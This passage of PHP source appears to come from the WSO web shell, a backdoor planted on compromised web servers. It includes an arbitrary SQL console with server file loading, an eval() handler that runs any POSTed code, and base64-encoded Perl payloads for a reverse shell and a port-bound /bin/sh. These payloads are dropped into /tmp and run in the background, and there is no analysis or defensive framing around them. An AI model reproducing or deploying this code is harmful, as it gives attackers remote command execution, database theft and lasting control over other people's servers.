(empty($_POST['sql_count'])?'&nbsp;':" <small>({$n['n']})</small>") . "</nobr><br>";
                              }
                              echo "<input type='checkbox' onclick='is();'> <input
type=button value='Dump'
onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:
<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid
#666;'>";
                              if(@$_POST['p1'] == 'select') {
                                      $_POST['p1'] = 'query';
                   $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
                                      $db->query('SELECT COUNT(*) as n FROM ' .
$_POST['p2']);
                                      $num = $db->fetch();
                                      $pages = ceil($num['n'] / 30);
                   echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] .
"\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records)
Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
                   echo " of $pages";
                   if($_POST['p3'] > 1)
                       echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' .
($_POST['p3']-1) . ")'>&lt; Prev</a>";
                   if($_POST['p3'] < $pages)
                       echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' .
($_POST['p3']+1) . ")'>Next &gt;</a>";
                   $_POST['p3']--;
                                      if($_POST['type']=='pgsql')
                                              $_POST['p2'] = 'SELECT * FROM
'.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
                                      else
                                              $_POST['p2'] = 'SELECT * FROM
`'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
                                      echo "<br><br>";
                              }
                              if((@$_POST['p1'] == 'query') &&
!empty($_POST['p2'])) {
                                      $db->query(@$_POST['p2']);
                                      if($db->res !== false) {
                                              $title = false;
                                              echo '<table width=100%
cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
                                              $line = 1;
                                              while($item = $db->fetch())     {
                                                      if(!$title)     {
                                                              echo '<tr>';
                                                              foreach($item as
$key => $value)

                                                                      echo
'<th>'.$key.'</th>';

                                                              reset($item);
                                                              $title=true;
                                                              echo '</tr><tr>';
                                                              $line = 2;
                                                      }
                                                      echo '<tr
class="l'.$line.'">';
                                                      $line = $line==1?2:1;
                                                      foreach($item as $key =>
$value) {
                                                              if($value == null)
                                                                      echo '<td>
<i>null</i></td>';
                                                              else
                                                                      echo
'<td>'.nl2br(htmlspecialchars($value)).'</td>';
```

```
                                                        }
                                                        echo '</tr>';
                                                }
                                                echo '</table>';
                                        } else {
                                                echo '<div><b>Error:</b>
'.htmlspecialchars($db->error()).'</div>';
                                        }
                                }
                                echo "<br></form><form
onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit(
);return false;'><textarea name='query' style='width:100%;height:100px'>";
                if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
                    echo htmlspecialchars($_POST['p2']);
                echo "</textarea><br/><input type=submit value='Execute'>";
                                echo "</td></tr>";
                        }
                        echo "</table></form><br/>";
            if($_POST['type']=='mysql') {
                $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@',
`host`) = USER() AND `File_priv` = 'y'");
                if($db->fetch())
                    echo "<form
onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.s
ubmit();return false;'><span>Load file</span> <input  class='toolsInp' type=text
name=f><input type=submit value='>>'></form>";
            }
                        if(@$_POST['p1'] == 'loadfile') {
                                $file = $db->loadFile($_POST['p2']);
                                echo '<br/><pre
class=ml1>'.htmlspecialchars($file['file']).'</pre>';
                        }
        } else {
        echo htmlspecialchars($db->error());
    }
        echo '</div>';
        wsoFooter();
}
function actionNetwork() {
        wsoHeader();
        $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXR
vbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzF
dLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk
7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiA
kIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFN
URElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZ
TT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTs
NCmNsb3NlKFNUREVSUik7";
        $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUk
dWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRU
FNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2
Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF
0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIk
NhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPW
ZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTi
wiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQ
lleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2
UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
        echo "<h1>Network tools</h1><div class=content>
        <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return
false;\">
        <span>Bind port to /bin/sh [perl]</span><br/>
        Port: <input type='text' name='port' value='31337'> <input type=submit
value='>>'>
        </form>
        <form name='nfp'
onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
        <span>Back-connect  [perl]</span><br/>
        Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR']
."'> Port: <input type='text' name='port' value='31337'> <input type=submit
value='>>'>
        </form><br>";
        if(isset($_POST['p1'])) {
                function cf($f,$t) {
                        $w = @fopen($f,"w") or
@function_exists('file_put_contents');
                        if($w){
                                @fwrite($w,@base64_decode($t));
                                @fclose($w);
                        }
                }
                if($_POST['p1'] == 'bpp') {
                        cf("/tmp/bp.pl",$bind_port_p);
                        $out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null
2>&1 &");
            sleep(1);
                        echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."
</pre>";
            unlink("/tmp/bp.pl");
                }
                if($_POST['p1'] == 'bcp') {
                        cf("/tmp/bc.pl",$back_connect_p);
                        $out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']."
".$_POST['p3']." 1>/dev/null 2>&1 &");
            sleep(1);
                        echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."
</pre>";
            unlink("/tmp/bc.pl");
                }
        }
        echo '</div>';
        wsoFooter();
}
function actionRC() {
        if(!@$_POST['p1']) {
                $a = array(
                        "uname" => php_uname(),
                        "php_version" => phpversion(),
                        "wso_version" => WSO_VERSION,
                        "safemode" => @ini_get('safe_mode')
                );
                echo serialize($a);
        } else {
                eval($_POST['p1']);
        }
}
if( empty($_POST['a']) )
        if(isset($default_action) && function_exists('action' . $default_action))
                $_POST['a'] = $default_action;
        else
                $_POST['a'] = 'SecInfo';
if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
        call_user_func('action' . $_POST['a']);
exit;
```